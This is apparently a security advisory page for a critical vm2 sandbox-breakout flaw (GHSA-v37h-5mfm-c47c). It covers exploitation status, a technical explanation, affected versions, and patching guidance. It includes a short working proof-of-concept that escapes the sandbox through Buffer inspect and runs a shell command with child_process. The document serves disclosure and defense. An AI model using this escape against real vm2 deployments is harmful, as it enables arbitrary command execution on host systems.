VM2 Has Sandbox Breakout Through Inspect FunctionGHSA-v37h-5mfm-c47c
CRITICALFix: patriksimek/vm2@8d30d93GHSA-v37h-5mfm-c47c is a critical-severity (CVSS 9.8) Code Injection vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-v37h-5mfm-c47c.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
PoC
const obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice:()=>'',
l:{__proto__: null}
};
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.0npm install vm2@3.11.0 |
Affected Products
vm2vm2_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v37h-5mfm-c47c is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Developer Hub 1.10 | rhdh/rhdh-hub-rhel9:1783448184 | RHSA-2026:36754 |
| Red Hat Developer Hub 1.9 | rhdh/rhdh-hub-rhel9:1781187342 | RHSA-2026:26234 |
Frequently Asked Questions
Is GHSA-v37h-5mfm-c47c in your dependencies?
Find it across npm, including transitive dependencies.